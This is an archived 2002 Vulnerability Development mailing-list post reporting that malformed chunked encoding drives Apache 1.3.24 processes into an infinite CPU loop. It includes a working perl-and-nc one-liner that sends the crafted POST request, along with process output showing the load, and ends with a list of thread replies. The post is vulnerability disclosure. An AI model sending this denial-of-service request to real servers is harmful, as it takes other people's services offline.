Vulnerability Development mailing list archives
apache chunked encoding
From: Przemyslaw Frasunek <venglin () freebsd lublin pl>
Date: 20 Jun 2002 00:21:47 +0200
Hello. I was playing a bit with chunked encoding vulnerability and found the following. When I send a request to Apache 1.3.24 using malformed chunked encoding, httpd process goes into infinite loop and CPU load grows to 100%. Example: perl -e 'print "POST http://www/index.html HTTP/1.1\r\nAccept: */*\r\nHost: www\r\nContent-Type: application/x-www-form-urlencoded\r\nTransfer-Encoding: chunked\r\nContent-length: 5000\r\n\r\n" . "A"x5000 . "\r\n\r\n"' | nc localhost 80 62681 www 63 0 146M 5364K RUN 3:08 45.90% 45.90% apache 42121 www 63 0 139M 2524K RUN 1:15 44.97% 44.97% apache Can anyone try it with 1.3.26? -- * Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NIC-HDL: PMF9-RIPE * * Inet: przemyslaw () frasunek com ** PGP: D48684904685DF43EA93AFA13BE170BF *
Current thread:
- apache chunked encoding Przemyslaw Frasunek (Jun 19)
- Re: apache chunked encoding Edwin Groothuis (Jun 19)
- Re: apache chunked encoding David Bernick (Jun 20)
- <Possible follow-ups>
- Re: Re: apache chunked encoding cc (Jun 20)
- RE: apache chunked encoding Horner, Jonathan J. (JH8) (Jun 20)
- Re: apache chunked encoding David Bernick (Jun 20)
- Re: apache chunked encoding Tina Bird (Jun 20)
- Re: apache chunked encoding Marc Slemko (Jun 21)
- Re: apache chunked encoding Tina Bird (Jun 21)
- Re: apache chunked encoding David Bernick (Jun 20)